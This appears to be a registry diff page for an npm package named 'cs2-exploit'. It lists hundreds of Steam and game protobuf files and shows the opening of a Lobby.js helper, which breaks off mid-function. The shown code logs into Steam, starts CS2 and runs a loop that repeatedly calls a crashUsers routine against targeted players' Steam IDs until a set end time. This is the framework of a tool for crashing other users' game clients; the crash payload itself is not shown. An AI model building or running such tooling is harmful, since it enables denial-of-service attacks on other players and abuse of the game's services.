cs2-exploit 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of cs2-exploit might be problematic. Click here for more details.

Files changed (396) hide show
  1. package/.github/workflows/npm-publish-github-packages.yml +36 -0
  2. package/README.md +25 -0
  3. package/config.json +6 -0
  4. package/helpers/Coordinator.js +157 -0
  5. package/helpers/Helper.js +171 -0
  6. package/helpers/Lobby.js +396 -0
  7. package/helpers/Protos.js +47 -0
  8. package/helpers/VDF.js +140 -0
  9. package/index.js +137 -0
  10. package/package.json +25 -0
  11. package/protobufs/.gitattributes +1 -0
  12. package/protobufs/LICENSE +24 -0
  13. package/protobufs/README.md +7 -0
  14. package/protobufs/artifact/base_gcmessages.proto +532 -0
  15. package/protobufs/artifact/c_peer2peer_netmessages.proto +57 -0
  16. package/protobufs/artifact/clientmessages.proto +51 -0
  17. package/protobufs/artifact/connectionless_netmessages.proto +21 -0
  18. package/protobufs/artifact/dcg_gamemessages.proto +638 -0
  19. package/protobufs/artifact/dcg_gcmessages_client.proto +1590 -0
  20. package/protobufs/artifact/dcg_gcmessages_common.proto +617 -0
  21. package/protobufs/artifact/dcg_gcmessages_server.proto +395 -0
  22. package/protobufs/artifact/demo.proto +149 -0
  23. package/protobufs/artifact/econ_gcmessages.proto +1033 -0
  24. package/protobufs/artifact/econ_shared_enums.proto +47 -0
  25. package/protobufs/artifact/gameevents.proto +121 -0
  26. package/protobufs/artifact/gametoolevents.proto +78 -0
  27. package/protobufs/artifact/gcsdk_gcmessages.proto +391 -0
  28. package/protobufs/artifact/gcsystemmsgs.proto +28 -0
  29. package/protobufs/artifact/netmessages.proto +551 -0
  30. package/protobufs/artifact/network_connection.proto +117 -0
  31. package/protobufs/artifact/networkbasetypes.proto +206 -0
  32. package/protobufs/artifact/networksystem_protomessages.proto +19 -0
  33. package/protobufs/artifact/steamdatagram_messages_auth.proto +38 -0
  34. package/protobufs/artifact/steamdatagram_messages_sdr.proto +441 -0
  35. package/protobufs/artifact/steammessages.proto +636 -0
  36. package/protobufs/artifact/steammessages_base.proto +83 -0
  37. package/protobufs/artifact/steammessages_cloud.steamworkssdk.proto +68 -0
  38. package/protobufs/artifact/steammessages_oauth.steamworkssdk.proto +18 -0
  39. package/protobufs/artifact/steammessages_publishedfile.steamworkssdk.proto +233 -0
  40. package/protobufs/artifact/steammessages_unified_base.steamworkssdk.proto +30 -0
  41. package/protobufs/artifact/steamnetworkingsockets_messages.proto +113 -0
  42. package/protobufs/artifact/steamnetworkingsockets_messages_certs.proto +32 -0
  43. package/protobufs/artifact/steamnetworkingsockets_messages_udp.proto +76 -0
  44. package/protobufs/artifact/te.proto +257 -0
  45. package/protobufs/artifact/uifontfile_format.proto +16 -0
  46. package/protobufs/artifact/usermessages.proto +473 -0
  47. package/protobufs/csgo/base_gcmessages_csgo.proto +547 -0
  48. package/protobufs/csgo/c_peer2peer_netmessages.proto +55 -0
  49. package/protobufs/csgo/clientmessages.proto +48 -0
  50. package/protobufs/csgo/connectionless_netmessages.proto +17 -0
  51. package/protobufs/csgo/cs_gameevents.proto +35 -0
  52. package/protobufs/csgo/cs_usercmd.proto +54 -0
  53. package/protobufs/csgo/cstrike15_gcmessages.proto +1415 -0
  54. package/protobufs/csgo/cstrike15_usermessages.proto +596 -0
  55. package/protobufs/csgo/demo.proto +160 -0
  56. package/protobufs/csgo/econ_gcmessages.proto +228 -0
  57. package/protobufs/csgo/engine_gcmessages.proto +14 -0
  58. package/protobufs/csgo/enums_clientserver.proto +1529 -0
  59. package/protobufs/csgo/fatdemo.proto +125 -0
  60. package/protobufs/csgo/gameevents.proto +120 -0
  61. package/protobufs/csgo/gcsdk_gcmessages.proto +323 -0
  62. package/protobufs/csgo/gcsystemmsgs.proto +242 -0
  63. package/protobufs/csgo/netmessages.proto +607 -0
  64. package/protobufs/csgo/network_connection.proto +126 -0
  65. package/protobufs/csgo/networkbasetypes.proto +244 -0
  66. package/protobufs/csgo/networksystem_protomessages.proto +17 -0
  67. package/protobufs/csgo/steamdatagram_messages_auth.proto +65 -0
  68. package/protobufs/csgo/steamdatagram_messages_sdr.proto +534 -0
  69. package/protobufs/csgo/steammessages.proto +597 -0
  70. package/protobufs/csgo/steammessages_base.proto +301 -0
  71. package/protobufs/csgo/steammessages_cloud.steamworkssdk.proto +68 -0
  72. package/protobufs/csgo/steammessages_gamenetworkingui.proto +61 -0
  73. package/protobufs/csgo/steammessages_helprequest.steamworkssdk.proto +22 -0
  74. package/protobufs/csgo/steammessages_oauth.steamworkssdk.proto +18 -0
  75. package/protobufs/csgo/steammessages_player.steamworkssdk.proto +254 -0
  76. package/protobufs/csgo/steammessages_publishedfile.steamworkssdk.proto +233 -0
  77. package/protobufs/csgo/steammessages_unified_base.steamworkssdk.proto +30 -0
  78. package/protobufs/csgo/steamnetworkingsockets_messages.proto +205 -0
  79. package/protobufs/csgo/steamnetworkingsockets_messages_certs.proto +39 -0
  80. package/protobufs/csgo/steamnetworkingsockets_messages_udp.proto +75 -0
  81. package/protobufs/csgo/te.proto +259 -0
  82. package/protobufs/csgo/uifontfile_format.proto +13 -0
  83. package/protobufs/csgo/usercmd.proto +37 -0
  84. package/protobufs/csgo/usermessages.proto +742 -0
  85. package/protobufs/csgo/valveextensions.proto +17 -0
  86. package/protobufs/dota2/base_gcmessages.proto +400 -0
  87. package/protobufs/dota2/c_peer2peer_netmessages.proto +55 -0
  88. package/protobufs/dota2/clientmessages.proto +48 -0
  89. package/protobufs/dota2/connectionless_netmessages.proto +19 -0
  90. package/protobufs/dota2/demo.proto +160 -0
  91. package/protobufs/dota2/dota_broadcastmessages.proto +29 -0
  92. package/protobufs/dota2/dota_client_enums.proto +93 -0
  93. package/protobufs/dota2/dota_clientmessages.proto +573 -0
  94. package/protobufs/dota2/dota_commonmessages.proto +146 -0
  95. package/protobufs/dota2/dota_gcmessages_client.proto +3336 -0
  96. package/protobufs/dota2/dota_gcmessages_client_battle_report.proto +393 -0
  97. package/protobufs/dota2/dota_gcmessages_client_bingo.proto +108 -0
  98. package/protobufs/dota2/dota_gcmessages_client_candy_shop.proto +302 -0
  99. package/protobufs/dota2/dota_gcmessages_client_chat.proto +239 -0
  100. package/protobufs/dota2/dota_gcmessages_client_coaching.proto +376 -0
  101. package/protobufs/dota2/dota_gcmessages_client_fantasy.proto +564 -0
  102. package/protobufs/dota2/dota_gcmessages_client_guild.proto +651 -0
  103. package/protobufs/dota2/dota_gcmessages_client_guild_events.proto +231 -0
  104. package/protobufs/dota2/dota_gcmessages_client_match_management.proto +468 -0
  105. package/protobufs/dota2/dota_gcmessages_client_showcase.proto +528 -0
  106. package/protobufs/dota2/dota_gcmessages_client_team.proto +275 -0
  107. package/protobufs/dota2/dota_gcmessages_client_tournament.proto +173 -0
  108. package/protobufs/dota2/dota_gcmessages_client_watch.proto +205 -0
  109. package/protobufs/dota2/dota_gcmessages_common.proto +1667 -0
  110. package/protobufs/dota2/dota_gcmessages_common_bot_script.proto +294 -0
  111. package/protobufs/dota2/dota_gcmessages_common_league.proto +351 -0
  112. package/protobufs/dota2/dota_gcmessages_common_lobby.proto +391 -0
  113. package/protobufs/dota2/dota_gcmessages_common_match_management.proto +488 -0
  114. package/protobufs/dota2/dota_gcmessages_msgid.proto +890 -0
  115. package/protobufs/dota2/dota_gcmessages_server.proto +1495 -0
  116. package/protobufs/dota2/dota_gcmessages_webapi.proto +376 -0
  117. package/protobufs/dota2/dota_hud_types.proto +33 -0
  118. package/protobufs/dota2/dota_match_metadata.proto +346 -0
  119. package/protobufs/dota2/dota_messages_mlbot.proto +62 -0
  120. package/protobufs/dota2/dota_modifiers.proto +53 -0
  121. package/protobufs/dota2/dota_scenariomessages.proto +226 -0
  122. package/protobufs/dota2/dota_shared_enums.proto +820 -0
  123. package/protobufs/dota2/dota_usercmd.proto +15 -0
  124. package/protobufs/dota2/dota_usermessages.proto +1655 -0
  125. package/protobufs/dota2/econ_gcmessages.proto +997 -0
  126. package/protobufs/dota2/econ_shared_enums.proto +37 -0
  127. package/protobufs/dota2/engine_gcmessages.proto +14 -0
  128. package/protobufs/dota2/enums_clientserver.proto +1547 -0
  129. package/protobufs/dota2/gameevents.proto +120 -0
  130. package/protobufs/dota2/gametoolevents.proto +78 -0
  131. package/protobufs/dota2/gcsdk_gcmessages.proto +488 -0
  132. package/protobufs/dota2/gcsystemmsgs.proto +26 -0
  133. package/protobufs/dota2/netmessages.proto +604 -0
  134. package/protobufs/dota2/network_connection.proto +126 -0
  135. package/protobufs/dota2/networkbasetypes.proto +244 -0
  136. package/protobufs/dota2/networksystem_protomessages.proto +17 -0
  137. package/protobufs/dota2/steamdatagram_messages_auth.proto +65 -0
  138. package/protobufs/dota2/steamdatagram_messages_sdr.proto +533 -0
  139. package/protobufs/dota2/steammessages.proto +108 -0
  140. package/protobufs/dota2/steammessages_base.proto +332 -0
  141. package/protobufs/dota2/steammessages_clientserver_login.proto +155 -0
  142. package/protobufs/dota2/steammessages_cloud.steamworkssdk.proto +68 -0
  143. package/protobufs/dota2/steammessages_gamenetworkingui.proto +42 -0
  144. package/protobufs/dota2/steammessages_helprequest.steamworkssdk.proto +22 -0
  145. package/protobufs/dota2/steammessages_int.proto +628 -0
  146. package/protobufs/dota2/steammessages_oauth.steamworkssdk.proto +18 -0
  147. package/protobufs/dota2/steammessages_player.steamworkssdk.proto +254 -0
  148. package/protobufs/dota2/steammessages_publishedfile.steamworkssdk.proto +233 -0
  149. package/protobufs/dota2/steammessages_steamlearn.steamworkssdk.proto +360 -0
  150. package/protobufs/dota2/steammessages_unified_base.steamworkssdk.proto +30 -0
  151. package/protobufs/dota2/steamnetworkingsockets_messages.proto +205 -0
  152. package/protobufs/dota2/steamnetworkingsockets_messages_certs.proto +39 -0
  153. package/protobufs/dota2/steamnetworkingsockets_messages_udp.proto +75 -0
  154. package/protobufs/dota2/te.proto +259 -0
  155. package/protobufs/dota2/uifontfile_format.proto +13 -0
  156. package/protobufs/dota2/usercmd.proto +38 -0
  157. package/protobufs/dota2/usermessages.proto +721 -0
  158. package/protobufs/dota2/valveextensions.proto +17 -0
  159. package/protobufs/google/protobuf/descriptor.proto +281 -0
  160. package/protobufs/steam/clientmetrics.proto +45 -0
  161. package/protobufs/steam/content_manifest.proto +62 -0
  162. package/protobufs/steam/contenthubs.proto +41 -0
  163. package/protobufs/steam/encrypted_app_ticket.proto +10 -0
  164. package/protobufs/steam/enums.proto +482 -0
  165. package/protobufs/steam/enums_clientserver.proto +1525 -0
  166. package/protobufs/steam/enums_productinfo.proto +13 -0
  167. package/protobufs/steam/htmlmessages.proto +1031 -0
  168. package/protobufs/steam/offline_ticket.proto +8 -0
  169. package/protobufs/steam/steamdatagram_messages_auth.proto +65 -0
  170. package/protobufs/steam/steamdatagram_messages_sdr.proto +534 -0
  171. package/protobufs/steam/steammessages_accounthardware.steamclient.proto +167 -0
  172. package/protobufs/steam/steammessages_appoverview.proto +202 -0
  173. package/protobufs/steam/steammessages_auth.steamclient.proto +375 -0
  174. package/protobufs/steam/steammessages_base.proto +335 -0
  175. package/protobufs/steam/steammessages_broadcast.steamclient.proto +619 -0
  176. package/protobufs/steam/steammessages_chat.steamclient.proto +1070 -0
  177. package/protobufs/steam/steammessages_client_objects.proto +648 -0
  178. package/protobufs/steam/steammessages_clientlanp2p.proto +43 -0
  179. package/protobufs/steam/steammessages_clientmetrics.steamclient.proto +192 -0
  180. package/protobufs/steam/steammessages_clientnotificationtypes.proto +242 -0
  181. package/protobufs/steam/steammessages_clientserver.proto +392 -0
  182. package/protobufs/steam/steammessages_clientserver_2.proto +771 -0
  183. package/protobufs/steam/steammessages_clientserver_appinfo.proto +131 -0
  184. package/protobufs/steam/steammessages_clientserver_friends.proto +260 -0
  185. package/protobufs/steam/steammessages_clientserver_gameservers.proto +159 -0
  186. package/protobufs/steam/steammessages_clientserver_lbs.proto +70 -0
  187. package/protobufs/steam/steammessages_clientserver_login.proto +167 -0
  188. package/protobufs/steam/steammessages_clientserver_mms.proto +228 -0
  189. package/protobufs/steam/steammessages_clientserver_ucm.proto +206 -0
  190. package/protobufs/steam/steammessages_clientserver_uds.proto +125 -0
  191. package/protobufs/steam/steammessages_clientserver_ufs.proto +172 -0
  192. package/protobufs/steam/steammessages_clientserver_userstats.proto +80 -0
  193. package/protobufs/steam/steammessages_clientsettings.proto +184 -0
  194. package/protobufs/steam/steammessages_cloud.steamclient.proto +422 -0
  195. package/protobufs/steam/steammessages_contentsystem.steamclient.proto +123 -0
  196. package/protobufs/steam/steammessages_credentials.steamclient.proto +96 -0
  197. package/protobufs/steam/steammessages_datapublisher.steamclient.proto +102 -0
  198. package/protobufs/steam/steammessages_depotbuilder.steamclient.proto +99 -0
  199. package/protobufs/steam/steammessages_deviceauth.steamclient.proto +169 -0
  200. package/protobufs/steam/steammessages_econ.steamclient.proto +137 -0
  201. package/protobufs/steam/steammessages_familygroups.steamclient.proto +389 -0
  202. package/protobufs/steam/steammessages_friendmessages.steamclient.proto +141 -0
  203. package/protobufs/steam/steammessages_gamenetworking.steamclient.proto +25 -0
  204. package/protobufs/steam/steammessages_gamenetworkingui.proto +61 -0
  205. package/protobufs/steam/steammessages_gamenotifications.steamclient.proto +131 -0
  206. package/protobufs/steam/steammessages_gameservers.steamclient.proto +136 -0
  207. package/protobufs/steam/steammessages_hiddevices.proto +157 -0
  208. package/protobufs/steam/steammessages_inventory.steamclient.proto +172 -0
  209. package/protobufs/steam/steammessages_linkfilter.steamclient.proto +39 -0
  210. package/protobufs/steam/steammessages_lobbymatchmaking.steamclient.proto +29 -0
  211. package/protobufs/steam/steammessages_market.steamclient.proto +22 -0
  212. package/protobufs/steam/steammessages_marketingmessages.steamclient.proto +264 -0
  213. package/protobufs/steam/steammessages_offline.steamclient.proto +33 -0
  214. package/protobufs/steam/steammessages_parental.steamclient.proto +260 -0
  215. package/protobufs/steam/steammessages_parties.steamclient.proto +75 -0
  216. package/protobufs/steam/steammessages_partnerapps.steamclient.proto +106 -0
  217. package/protobufs/steam/steammessages_player.steamclient.proto +897 -0
  218. package/protobufs/steam/steammessages_publishedfile.steamclient.proto +734 -0
  219. package/protobufs/steam/steammessages_qms.steamclient.proto +111 -0
  220. package/protobufs/steam/steammessages_remoteclient.proto +99 -0
  221. package/protobufs/steam/steammessages_remoteclient_discovery.proto +243 -0
  222. package/protobufs/steam/steammessages_remoteclient_service.steamclient.proto +31 -0
  223. package/protobufs/steam/steammessages_remoteclient_service_messages.proto +217 -0
  224. package/protobufs/steam/steammessages_remoteplay.proto +976 -0
  225. package/protobufs/steam/steammessages_secrets.steamclient.proto +35 -0
  226. package/protobufs/steam/steammessages_shader.steamclient.proto +89 -0
  227. package/protobufs/steam/steammessages_site_license.steamclient.proto +103 -0
  228. package/protobufs/steam/steammessages_sitelicenseclient.proto +38 -0
  229. package/protobufs/steam/steammessages_siteserverui.proto +130 -0
  230. package/protobufs/steam/steammessages_star.steamclient.proto +60 -0
  231. package/protobufs/steam/steammessages_steamtv.steamclient.proto +533 -0
  232. package/protobufs/steam/steammessages_store.steamclient.proto +404 -0
  233. package/protobufs/steam/steammessages_storebrowse.steamclient.proto +430 -0
  234. package/protobufs/steam/steammessages_timedtrial.steamclient.proto +40 -0
  235. package/protobufs/steam/steammessages_twofactor.steamclient.proto +157 -0
  236. package/protobufs/steam/steammessages_unified_base.steamclient.proto +33 -0
  237. package/protobufs/steam/steammessages_unified_test.steamclient.proto +51 -0
  238. package/protobufs/steam/steammessages_useraccount.steamclient.proto +207 -0
  239. package/protobufs/steam/steammessages_vac.steamclient.proto +37 -0
  240. package/protobufs/steam/steammessages_video.steamclient.proto +68 -0
  241. package/protobufs/steam/steammessages_virtualcontroller.proto +138 -0
  242. package/protobufs/steam/steammessages_workshop.steamclient.proto +19 -0
  243. package/protobufs/steam/steamnetworkingsockets_messages.proto +205 -0
  244. package/protobufs/steam/steamnetworkingsockets_messages_certs.proto +39 -0
  245. package/protobufs/steam/steamnetworkingsockets_messages_udp.proto +75 -0
  246. package/protobufs/steam/webuimessages_achievements.proto +29 -0
  247. package/protobufs/steam/webuimessages_base.proto +24 -0
  248. package/protobufs/steam/webuimessages_gamenotes.proto +21 -0
  249. package/protobufs/steam/webuimessages_gamescope.proto +54 -0
  250. package/protobufs/steam/webuimessages_steamengine.proto +41 -0
  251. package/protobufs/steam/webuimessages_steamos.proto +114 -0
  252. package/protobufs/steam/webuimessages_storagedevicemanager.proto +110 -0
  253. package/protobufs/steam/webuimessages_systemmanager.proto +17 -0
  254. package/protobufs/steam/webuimessages_transport.proto +18 -0
  255. package/protobufs/steam/webuimessages_transportvalidation.proto +111 -0
  256. package/protobufs/tf2/base_gcmessages.proto +561 -0
  257. package/protobufs/tf2/econ_gcmessages.proto +368 -0
  258. package/protobufs/tf2/gcsdk_gcmessages.proto +186 -0
  259. package/protobufs/tf2/gcsystemmsgs.proto +178 -0
  260. package/protobufs/tf2/steamdatagram_auth_messages.proto +50 -0
  261. package/protobufs/tf2/steamdatagram_messages.proto +598 -0
  262. package/protobufs/tf2/steamdatagram_messages_auth.proto +65 -0
  263. package/protobufs/tf2/steamdatagram_messages_sdr.proto +518 -0
  264. package/protobufs/tf2/steammessages.proto +577 -0
  265. package/protobufs/tf2/steammessages_gamenetworkingui.proto +42 -0
  266. package/protobufs/tf2/steamnetworkingsockets_messages.proto +204 -0
  267. package/protobufs/tf2/steamnetworkingsockets_messages_certs.proto +38 -0
  268. package/protobufs/tf2/steamnetworkingsockets_messages_udp.proto +75 -0
  269. package/protobufs/tf2/tf_gcmessages.proto +1624 -0
  270. package/protobufs/tf2/tf_proto_def_messages.proto +598 -0
  271. package/protobufs/underlords/base_gcmessages.proto +532 -0
  272. package/protobufs/underlords/c_peer2peer_netmessages.proto +57 -0
  273. package/protobufs/underlords/clientmessages.proto +51 -0
  274. package/protobufs/underlords/connectionless_netmessages.proto +21 -0
  275. package/protobufs/underlords/dac_gamemessages.proto +1376 -0
  276. package/protobufs/underlords/dac_gcmessages_client.proto +1518 -0
  277. package/protobufs/underlords/dac_gcmessages_common.proto +377 -0
  278. package/protobufs/underlords/dac_gcmessages_server.proto +417 -0
  279. package/protobufs/underlords/demo.proto +149 -0
  280. package/protobufs/underlords/econ_gcmessages.proto +1063 -0
  281. package/protobufs/underlords/econ_shared_enums.proto +47 -0
  282. package/protobufs/underlords/enums_clientserver.proto +1538 -0
  283. package/protobufs/underlords/gameevents.proto +121 -0
  284. package/protobufs/underlords/gametoolevents.proto +78 -0
  285. package/protobufs/underlords/gcsdk_gcmessages.proto +448 -0
  286. package/protobufs/underlords/gcsystemmsgs.proto +29 -0
  287. package/protobufs/underlords/netmessages.proto +553 -0
  288. package/protobufs/underlords/network_connection.proto +117 -0
  289. package/protobufs/underlords/networkbasetypes.proto +219 -0
  290. package/protobufs/underlords/networksystem_protomessages.proto +19 -0
  291. package/protobufs/underlords/steamdatagram_messages_auth.proto +64 -0
  292. package/protobufs/underlords/steamdatagram_messages_sdr.proto +482 -0
  293. package/protobufs/underlords/steammessages.proto +701 -0
  294. package/protobufs/underlords/steammessages_base.proto +243 -0
  295. package/protobufs/underlords/steammessages_clientserver_login.proto +155 -0
  296. package/protobufs/underlords/steammessages_cloud.steamworkssdk.proto +68 -0
  297. package/protobufs/underlords/steammessages_helprequest.steamworkssdk.proto +22 -0
  298. package/protobufs/underlords/steammessages_oauth.steamworkssdk.proto +18 -0
  299. package/protobufs/underlords/steammessages_player.steamworkssdk.proto +254 -0
  300. package/protobufs/underlords/steammessages_publishedfile.steamworkssdk.proto +233 -0
  301. package/protobufs/underlords/steammessages_unified_base.steamworkssdk.proto +30 -0
  302. package/protobufs/underlords/steamnetworkingsockets_messages.proto +165 -0
  303. package/protobufs/underlords/steamnetworkingsockets_messages_certs.proto +38 -0
  304. package/protobufs/underlords/steamnetworkingsockets_messages_udp.proto +74 -0
  305. package/protobufs/underlords/te.proto +259 -0
  306. package/protobufs/underlords/uifontfile_format.proto +16 -0
  307. package/protobufs/underlords/usermessages.proto +511 -0
  308. package/protobufs/underlords/valveextensions.proto +11 -0
  309. package/protobufs/update.sh +13 -0
  310. package/protobufs/webui/common.proto +3998 -0
  311. package/protobufs/webui/common_base.proto +27 -0
  312. package/protobufs/webui/service_accountcart.proto +153 -0
  313. package/protobufs/webui/service_accountlinking.proto +27 -0
  314. package/protobufs/webui/service_accountprivacy.proto +42 -0
  315. package/protobufs/webui/service_accountprivateapps.proto +34 -0
  316. package/protobufs/webui/service_auction.proto +97 -0
  317. package/protobufs/webui/service_authentication.proto +222 -0
  318. package/protobufs/webui/service_authenticationsupport.proto +74 -0
  319. package/protobufs/webui/service_broadcast.proto +562 -0
  320. package/protobufs/webui/service_chat.proto +11 -0
  321. package/protobufs/webui/service_chatroom.proto +810 -0
  322. package/protobufs/webui/service_chatusability.proto +107 -0
  323. package/protobufs/webui/service_checkout.proto +83 -0
  324. package/protobufs/webui/service_clan.proto +41 -0
  325. package/protobufs/webui/service_clanchatrooms.proto +25 -0
  326. package/protobufs/webui/service_clanfaqs.proto +202 -0
  327. package/protobufs/webui/service_clientcomm.proto +151 -0
  328. package/protobufs/webui/service_clientmetrics.proto +22 -0
  329. package/protobufs/webui/service_cloud.proto +222 -0
  330. package/protobufs/webui/service_cloudconfigstore.proto +51 -0
  331. package/protobufs/webui/service_cloudgaming.proto +30 -0
  332. package/protobufs/webui/service_community.proto +365 -0
  333. package/protobufs/webui/service_dailydeal.proto +66 -0
  334. package/protobufs/webui/service_econ.proto +134 -0
  335. package/protobufs/webui/service_embedded.proto +24 -0
  336. package/protobufs/webui/service_experimentservice.proto +6 -0
  337. package/protobufs/webui/service_familygroups.proto +329 -0
  338. package/protobufs/webui/service_fovasvideo.proto +15 -0
  339. package/protobufs/webui/service_friendmessages.proto +133 -0
  340. package/protobufs/webui/service_friendslist.proto +70 -0
  341. package/protobufs/webui/service_gamenotes.proto +15 -0
  342. package/protobufs/webui/service_gamerecording.proto +259 -0
  343. package/protobufs/webui/service_gamerecordingclip.proto +83 -0
  344. package/protobufs/webui/service_gamerecordingdebug.proto +52 -0
  345. package/protobufs/webui/service_helprequestlogs.proto +16 -0
  346. package/protobufs/webui/service_loyaltyrewards.proto +252 -0
  347. package/protobufs/webui/service_marketingmessages.proto +215 -0
  348. package/protobufs/webui/service_mobileapp.proto +18 -0
  349. package/protobufs/webui/service_mobileauth.proto +24 -0
  350. package/protobufs/webui/service_mobiledevice.proto +26 -0
  351. package/protobufs/webui/service_mobileperaccount.proto +31 -0
  352. package/protobufs/webui/service_news.proto +110 -0
  353. package/protobufs/webui/service_parental.proto +256 -0
  354. package/protobufs/webui/service_partnermembershipinvite.proto +34 -0
  355. package/protobufs/webui/service_partnerstorebrowse.proto +28 -0
  356. package/protobufs/webui/service_phone.proto +51 -0
  357. package/protobufs/webui/service_physicalgoods.proto +15 -0
  358. package/protobufs/webui/service_player.proto +917 -0
  359. package/protobufs/webui/service_promotioneventinvites.proto +109 -0
  360. package/protobufs/webui/service_promotionplanning.proto +172 -0
  361. package/protobufs/webui/service_publishedfile.proto +711 -0
  362. package/protobufs/webui/service_publishing.proto +183 -0
  363. package/protobufs/webui/service_quest.proto +127 -0
  364. package/protobufs/webui/service_salefeature.proto +357 -0
  365. package/protobufs/webui/service_saleitemrewards.proto +54 -0
  366. package/protobufs/webui/service_shoppingcart.proto +152 -0
  367. package/protobufs/webui/service_steamawards.proto +76 -0
  368. package/protobufs/webui/service_steamcharts.proto +75 -0
  369. package/protobufs/webui/service_steamengine.proto +36 -0
  370. package/protobufs/webui/service_steamlearn.proto +780 -0
  371. package/protobufs/webui/service_steamnotification.proto +73 -0
  372. package/protobufs/webui/service_steamtv.proto +495 -0
  373. package/protobufs/webui/service_steamvrvoicechat.proto +67 -0
  374. package/protobufs/webui/service_steamvrwebrtc.proto +48 -0
  375. package/protobufs/webui/service_storagedevicemanager.proto +104 -0
  376. package/protobufs/webui/service_store.proto +359 -0
  377. package/protobufs/webui/service_storeappsimilarity.proto +76 -0
  378. package/protobufs/webui/service_storebrowse.proto +102 -0
  379. package/protobufs/webui/service_storemarketing.proto +41 -0
  380. package/protobufs/webui/service_storequery.proto +103 -0
  381. package/protobufs/webui/service_storesales.proto +87 -0
  382. package/protobufs/webui/service_storetopsellers.proto +44 -0
  383. package/protobufs/webui/service_systemmanager.proto +11 -0
  384. package/protobufs/webui/service_test_transporterror.proto +6 -0
  385. package/protobufs/webui/service_transportauth.proto +12 -0
  386. package/protobufs/webui/service_transportvalidation.proto +69 -0
  387. package/protobufs/webui/service_twofactor.proto +170 -0
  388. package/protobufs/webui/service_useraccount.proto +138 -0
  389. package/protobufs/webui/service_usergameactivity.proto +34 -0
  390. package/protobufs/webui/service_usergamenotes.proto +70 -0
  391. package/protobufs/webui/service_usernews.proto +68 -0
  392. package/protobufs/webui/service_userreviews.proto +96 -0
  393. package/protobufs/webui/service_video.proto +50 -0
  394. package/protobufs/webui/service_videoclip.proto +48 -0
  395. package/protobufs/webui/service_voicechat.proto +139 -0
  396. package/protobufs/webui/service_webrtc.proto +52 -0
@@ -0,0 +1,396 @@
1
+ const SteamUser = require("steam-user");
2
+ const SteamID = require("steamid");
3
+ const Coordinator = require("./Coordinator.js");
4
+ const VDF = require("./VDF.js");
5
+ const Helper = require("./Helper.js");
6
+
7
+ module.exports = class Lobby {
8
+ constructor() {
9
+ // Lobby settings
10
+ this.lobbySettings = {};
11
+
12
+ // Crashing
13
+ this.crashLoop = [];
14
+ (async () => {
15
+ while (true) {
16
+ await new Promise(p => setTimeout(p, 3000));
17
+
18
+ if (!this.lobbySettings.id) {
19
+ continue;
20
+ }
21
+
22
+ // First we find the ones which we want to remove and the ones we want to crash
23
+ let remove = [];
24
+ let toCrash = [];
25
+ for (let target of this.crashLoop) {
26
+ if (Date.now() >= target.end) {
27
+ remove.push(target.steamid);
28
+ continue;
29
+ }
30
+
31
+ toCrash.push(target.steamid);
32
+ }
33
+
34
+ // Now we remove the ones who are irrelevant!
35
+ for (let r of remove) {
36
+ let index = this.crashLoop.find(s => s.steamid === r);
37
+ if (index <= -1) {
38
+ continue;
39
+ }
40
+
41
+ this.crashLoop.splice(index, 1);
42
+ }
43
+
44
+ // And crash the ones who have to die
45
+ if (toCrash.length > 0) {
46
+ await this.crashUsers(toCrash);
47
+ }
48
+ }
49
+ })();
50
+
51
+ // Instances
52
+ this.steam = new SteamUser();
53
+ this.coordinator = new Coordinator(this.steam);
54
+ }
55
+
56
+ _login(details) {
57
+ this.steamDetails = details;
58
+
59
+ return new Promise((resolve, reject) => {
60
+ let loggedOn = () => {
61
+ this.steam.removeListener("loggedOn", loggedOn);
62
+ this.steam.removeListener("error", error);
63
+ this.steam.removeListener("steamGuard", steamGuard);
64
+
65
+ this.steam.requestFreeLicense([730]);
66
+ this.steam.setPersona(SteamUser.EPersonaState.Online);
67
+
68
+ // Bad ping check and restart CSGO if needed
69
+ this.csgoHeartbeat = setInterval(async () => {
70
+ // Do not run this if we have already figured out we're offline
71
+ let res = await this.coordinator.sendMessage(
72
+ 730,
73
+ this.coordinator.Protos.csgo.EGCBaseClientMsg.k_EMsgGCClientHello,
74
+ {},
75
+ this.coordinator.Protos.csgo.CMsgClientHello,
76
+ {},
77
+ this.coordinator.Protos.csgo.EGCBaseClientMsg.k_EMsgGCClientWelcome,
78
+ this.coordinator.Protos.csgo.CMsgClientWelcome,
79
+ 2500
80
+ ).catch(() => { });
81
+
82
+ if (res) {
83
+ // We're connected, nothing to do
84
+ return;
85
+ }
86
+
87
+ // Lets do some stuff
88
+ clearInterval(this.csgoHeartbeat);
89
+ this.steam.logOff();
90
+
91
+ await new Promise(p => setTimeout(p, 500));
92
+
93
+ let logon = undefined;
94
+ while (!logon) {
95
+ logon = await this.createLobby(this.steamDetails).catch((err) => {
96
+ console.error(err);
97
+ });
98
+ if (!logon) {
99
+ this.steam.logOff();
100
+ await new Promise(p => setTimeout(p, 2000));
101
+ }
102
+ }
103
+
104
+ // We are now logged on again and this loop should be running again
105
+ }, 5000);
106
+
107
+ resolve(true);
108
+ }
109
+
110
+ let error = (err) => {
111
+ this.steam.removeListener("loggedOn", loggedOn);
112
+ this.steam.removeListener("error", error);
113
+ this.steam.removeListener("steamGuard", steamGuard);
114
+
115
+ reject(err);
116
+ }
117
+
118
+ let steamGuard = () => {
119
+ this.steam.removeListener("loggedOn", loggedOn);
120
+ this.steam.removeListener("error", error);
121
+ this.steam.removeListener("steamGuard", steamGuard);
122
+
123
+ reject(new Error("Steam Guard required"));
124
+ }
125
+
126
+ this.steam.on("loggedOn", loggedOn);
127
+ this.steam.on("error", error);
128
+ this.steam.on("steamGuard", steamGuard);
129
+
130
+ this.steam.logOn(details);
131
+ });
132
+ }
133
+
134
+ createLobby(details = undefined) {
135
+ return new Promise(async (resolve, reject) => {
136
+ // First we log into Steam if we haven't already
137
+ if (!this.steam.steamID) {
138
+ if (!details) {
139
+ reject(new Error("No details provide for Steam login"));
140
+ return;
141
+ }
142
+
143
+ let loginSuccess = await this._login(details).catch(reject);
144
+ if (!loginSuccess) {
145
+ return;
146
+ }
147
+ }
148
+
149
+ // Start CSGO and establish coordinator response
150
+ this.steam.gamesPlayed([730]);
151
+
152
+ let errGcWelcome = 0;
153
+ this.gcWelcome = undefined;
154
+ while (true) {
155
+ this.gcWelcome = await this.coordinator.sendMessage(
156
+ 730,
157
+ this.coordinator.Protos.csgo.EGCBaseClientMsg.k_EMsgGCClientHello,
158
+ {},
159
+ this.coordinator.Protos.csgo.CMsgClientHello,
160
+ {},
161
